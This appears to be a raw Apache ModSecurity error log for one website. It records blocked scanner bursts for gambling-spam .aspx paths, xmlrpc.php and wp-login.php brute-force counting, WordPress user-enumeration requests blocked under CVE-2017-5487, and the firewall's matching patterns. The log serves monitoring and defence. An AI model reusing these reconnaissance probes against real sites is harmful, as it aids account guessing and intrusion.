[Sat Mar 07 08:14:29.365879 2026] [:error] [pid 4609:tid 4650] [client 51.77.43.170:45700] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "aatt5eP7JMxUbw4Fd1Zr_wAAANY"]
[Sat Mar 07 08:14:33.584131 2026] [:error] [pid 4307:tid 4396] [client 51.77.43.170:45716] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "aatt6TeKp4wgnLc38f9dPAAAAA4"]
[Sat Mar 07 08:15:28.516438 2026] [:error] [pid 52484:tid 52506] [client 51.77.43.170:43268] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "aatuIPE9AnX6zUICFeRJkQAAAQM"]
[Sat Mar 07 08:15:32.086516 2026] [:error] [pid 4315:tid 4450] [client 51.77.43.170:52368] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "aatuJNDEK9AXzxu9OShX_gAAAIM"]
[Sat Mar 07 08:15:36.729626 2026] [:error] [pid 52484:tid 52510] [client 51.77.43.170:52380] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "aatuKPE9AnX6zUICFeRJoAAAAQc"]
[Sat Mar 07 08:15:40.370903 2026] [:error] [pid 4311:tid 4432] [client 51.77.43.170:46484] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "aatuLHbyS653WMGf2vUJ2QAAAE0"]
[Sat Mar 07 08:15:50.299741 2026] [:error] [pid 4609:tid 4631] [client 51.77.43.170:45034] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aatuNuP7JMxUbw4Fd1ZsdwAAAMM"]
[Sat Mar 07 08:15:58.524487 2026] [:error] [pid 4315:tid 4461] [client 51.77.43.170:53860] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "aatuPtDEK9AXzxu9OShYIgAAAI4"]
[Sat Mar 07 08:16:05.302009 2026] [:error] [pid 4311:tid 4420] [client 51.77.43.170:53870] [client 51.77.43.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "aatuRXbyS653WMGf2vUKAgAAAEE"]
[Sat Mar 07 11:34:12.475629 2026] [:error] [pid 4315:tid 4449] [client 74.80.182.73:57664] [client 74.80.182.73] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aauctNDEK9AXzxu9OSiVfwAAAII"]
[Sat Mar 07 13:08:20.301696 2026] [:error] [pid 37998:tid 38066] [client 113.163.24.28:55121] [client 113.163.24.28] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 113.163.24.28, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aauyxMl3xHpv0STGaSZ3bQAAAVY"]
[Sat Mar 07 13:38:03.028894 2026] [:error] [pid 37998:tid 38065] [client 85.214.228.221:33140] [client 85.214.228.221] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.214.228.221, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aau5u8l3xHpv0STGaSaNpAAAAVU"]
[Sat Mar 07 14:37:33.245436 2026] [:error] [pid 4315:tid 4448] [client 34.24.47.138:54818] [client 34.24.47.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/media/system/js/core.js"] [unique_id "aavHrdDEK9AXzxu9OSi-9wAAAIE"]
[Sat Mar 07 15:18:21.274612 2026] [:error] [pid 4609:tid 4645] [client 43.159.132.207:37482] [client 43.159.132.207] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aavRPeP7JMxUbw4Fd1YhUAAAANE"]
[Sat Mar 07 16:18:43.965057 2026] [:error] [pid 37998:tid 38053] [client 49.37.41.193:64457] [client 49.37.41.193] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.41.193, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aavfY8l3xHpv0STGaSb1aQAAAUk"]
[Sat Mar 07 16:19:10.043631 2026] [:error] [pid 37998:tid 38045] [client 223.185.17.162:11526] [client 223.185.17.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.185.17.162, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aavffsl3xHpv0STGaSb1tgAAAUI"]
[Sat Mar 07 16:21:41.613246 2026] [:error] [pid 4609:tid 4652] [client 74.7.243.23:60236] [client 74.7.243.23] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 74.7.243.23, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aavgFeP7JMxUbw4Fd1Y4-AAAANg"], referer: https://gigfragments.org/
[Sat Mar 07 17:01:17.198000 2026] [:error] [pid 4609:tid 4637] [client 193.32.126.227:61841] [client 193.32.126.227] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.32.126.227, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aavpXeP7JMxUbw4Fd1ZGigAAAMk"]
[Sat Mar 07 17:01:19.482960 2026] [:error] [pid 4609:tid 4652] [client 193.32.126.227:62017] [client 193.32.126.227] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.32.126.227, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aavpX-P7JMxUbw4Fd1ZGoAAAANg"]
[Sat Mar 07 17:29:26.387799 2026] [:error] [pid 36899:tid 36922] [client 223.185.17.162:16818] [client 223.185.17.162] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aavv9jIlMfwxLHrLy_9BmgAAAYA"]
[Sat Mar 07 17:31:12.160272 2026] [:error] [pid 37998:tid 38057] [client 223.185.17.162:6968] [client 223.185.17.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.185.17.162, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aavwYMl3xHpv0STGaSYf2wAAAU0"]
[Sat Mar 07 17:32:44.231583 2026] [:error] [pid 37998:tid 38061] [client 223.185.17.162:31366] [client 223.185.17.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.185.17.162, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aavwvMl3xHpv0STGaSYh4QAAAVE"]
[Sat Mar 07 17:34:15.979957 2026] [:error] [pid 52484:tid 52521] [client 223.185.17.162:32246] [client 223.185.17.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.185.17.162, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aavxF_E9AnX6zUICFeSENQAAARE"]
[Sat Mar 07 17:35:52.054918 2026] [:error] [pid 4609:tid 4632] [client 223.185.17.162:21789] [client 223.185.17.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.185.17.162, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aavxeOP7JMxUbw4Fd1ZL5AAAAMQ"]
[Sat Mar 07 17:37:28.033516 2026] [:error] [pid 36899:tid 36926] [client 223.185.17.162:9658] [client 223.185.17.162] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.185.17.162, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aavx2DIlMfwxLHrLy_9FBgAAAYQ"]
[Sat Mar 07 18:26:38.953096 2026] [:error] [pid 10276:tid 10293] [client 49.37.41.193:63021] [client 49.37.41.193] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aav9XqNawseyHvpv0Lk5EAAAA0M"]
[Sat Mar 07 18:27:57.246793 2026] [:error] [pid 54127:tid 54166] [client 49.37.41.193:54607] [client 49.37.41.193] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.41.193, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aav9rUuQzHmVv_Y3VjdMswAAAtc"]
[Sat Mar 07 18:29:10.038504 2026] [:error] [pid 36899:tid 36947] [client 49.37.41.193:55821] [client 49.37.41.193] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.41.193, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aav99jIlMfwxLHrLy_9MDgAAAZg"]
[Sat Mar 07 18:30:19.899776 2026] [:error] [pid 50682:tid 50704] [client 49.37.41.193:57093] [client 49.37.41.193] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.41.193, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aav-O0_32_2CpDTtIRmazwAAApM"]
[Sat Mar 07 18:31:29.744110 2026] [:error] [pid 10276:tid 10313] [client 49.37.41.193:62292] [client 49.37.41.193] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.41.193, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aav-gaNawseyHvpv0Lk6oQAAA1c"]
[Sat Mar 07 18:32:52.349888 2026] [:error] [pid 54127:tid 54148] [client 49.37.41.193:63231] [client 49.37.41.193] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.37.41.193, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aav-1EuQzHmVv_Y3VjdNzwAAAsY"]
[Sat Mar 07 19:19:57.852231 2026] [:error] [pid 26035:tid 26071] [client 203.134.212.79:29795] [client 203.134.212.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.134.212.79, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aawJ3RCGZKfdaQTfT7XlmQAAAdQ"]
[Sat Mar 07 19:42:01.533161 2026] [:error] [pid 14885:tid 14904] [client 203.134.212.79:56152] [client 203.134.212.79] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aawPCVj4t7-EBJadtcW1PwAAA4U"]
[Sat Mar 07 19:42:57.687946 2026] [:error] [pid 31847:tid 31867] [client 203.134.212.79:50119] [client 203.134.212.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.134.212.79, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aawPQfTG-z9jwgL8vXkk3QAAAkY"]
[Sat Mar 07 19:43:59.902945 2026] [:error] [pid 4315:tid 4459] [client 203.134.212.79:57116] [client 203.134.212.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.134.212.79, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aawPf9DEK9AXzxu9OSjQ3AAAAIw"]
[Sat Mar 07 19:45:03.354720 2026] [:error] [pid 4315:tid 4473] [client 203.134.212.79:51237] [client 203.134.212.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.134.212.79, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aawPv9DEK9AXzxu9OSjRVQAAAJg"]
[Sat Mar 07 19:46:11.121657 2026] [:error] [pid 36899:tid 36939] [client 203.134.212.79:52343] [client 203.134.212.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 203.134.212.79, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aawQAzIlMfwxLHrLy_9RMwAAAZA"]
[Sat Mar 07 21:38:53.982471 2026] [:error] [pid 14885:tid 14923] [client 120.71.59.24:40492] [client 120.71.59.24] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aawqbVj4t7-EBJadtcXTCgAAA5g"]
[Sat Mar 07 21:57:10.373197 2026] [:error] [pid 4315:tid 4464] [client 51.254.131.104:52786] [client 51.254.131.104] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.254.131.104, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aawuttDEK9AXzxu9OSgWLgAAAJA"]
[Sun Mar 08 01:31:34.428643 2026] [:error] [pid 19387:tid 19512] [client 185.213.175.121:59776] [client 185.213.175.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aaxg9tf0nSGsjNvXT0MgxgAAAgw"]
[Sun Mar 08 01:31:36.888676 2026] [:error] [pid 19534:tid 19541] [client 185.213.175.121:58344] [client 185.213.175.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aaxg-IiRddMMzZb47n5s1wAAAEU"]
[Sun Mar 08 01:31:39.337458 2026] [:error] [pid 19386:tid 19479] [client 185.213.175.121:58350] [client 185.213.175.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aaxg-6Ooo-DmQSb2USBXrwAAAcY"]
[Sun Mar 08 01:31:41.639295 2026] [:error] [pid 19387:tid 19517] [client 185.213.175.121:50570] [client 185.213.175.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aaxg_df0nSGsjNvXT0Mg0gAAAhE"]
[Sun Mar 08 01:31:43.953551 2026] [:error] [pid 19534:tid 19556] [client 185.213.175.121:50582] [client 185.213.175.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aaxg_4iRddMMzZb47n5s4QAAAFQ"]
[Sun Mar 08 01:31:46.400883 2026] [:error] [pid 19387:tid 19514] [client 185.213.175.121:50596] [client 185.213.175.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aaxhAtf0nSGsjNvXT0Mg1wAAAg4"]
[Sun Mar 08 01:31:48.862790 2026] [:error] [pid 19387:tid 19521] [client 185.213.175.121:50600] [client 185.213.175.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aaxhBNf0nSGsjNvXT0Mg2wAAAhU"]
[Sun Mar 08 01:31:51.319982 2026] [:error] [pid 19387:tid 19514] [client 185.213.175.121:60278] [client 185.213.175.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aaxhB9f0nSGsjNvXT0Mg4gAAAg4"]
[Sun Mar 08 01:31:53.761267 2026] [:error] [pid 19534:tid 19558] [client 185.213.175.121:60288] [client 185.213.175.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "aaxhCYiRddMMzZb47n5s7wAAAFY"]
[Sun Mar 08 01:31:56.225427 2026] [:error] [pid 19387:tid 19516] [client 185.213.175.121:60302] [client 185.213.175.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "aaxhDNf0nSGsjNvXT0Mg8gAAAhA"]
[Sun Mar 08 01:31:58.664527 2026] [:error] [pid 19534:tid 19557] [client 185.213.175.121:60306] [client 185.213.175.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "aaxhDoiRddMMzZb47n5tHwAAAFU"]
[Sun Mar 08 01:32:01.132215 2026] [:error] [pid 19385:tid 19440] [client 185.213.175.121:39394] [client 185.213.175.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "aaxhEff5_iv9UQMo0rkNnwAAAAs"]
[Sun Mar 08 01:32:03.448599 2026] [:error] [pid 19387:tid 19517] [client 185.213.175.121:39410] [client 185.213.175.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "aaxhE9f0nSGsjNvXT0MhKgAAAhE"]
[Sun Mar 08 01:32:05.908797 2026] [:error] [pid 19387:tid 19516] [client 185.213.175.121:39422] [client 185.213.175.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "aaxhFdf0nSGsjNvXT0MhLgAAAhA"]
[Sun Mar 08 01:32:08.368688 2026] [:error] [pid 19387:tid 19501] [client 185.213.175.121:39426] [client 185.213.175.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "aaxhGNf0nSGsjNvXT0MhMAAAAgE"]
[Sun Mar 08 01:32:10.828381 2026] [:error] [pid 19385:tid 19442] [client 185.213.175.121:49340] [client 185.213.175.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "aaxhGvf5_iv9UQMo0rkNpQAAAA0"]
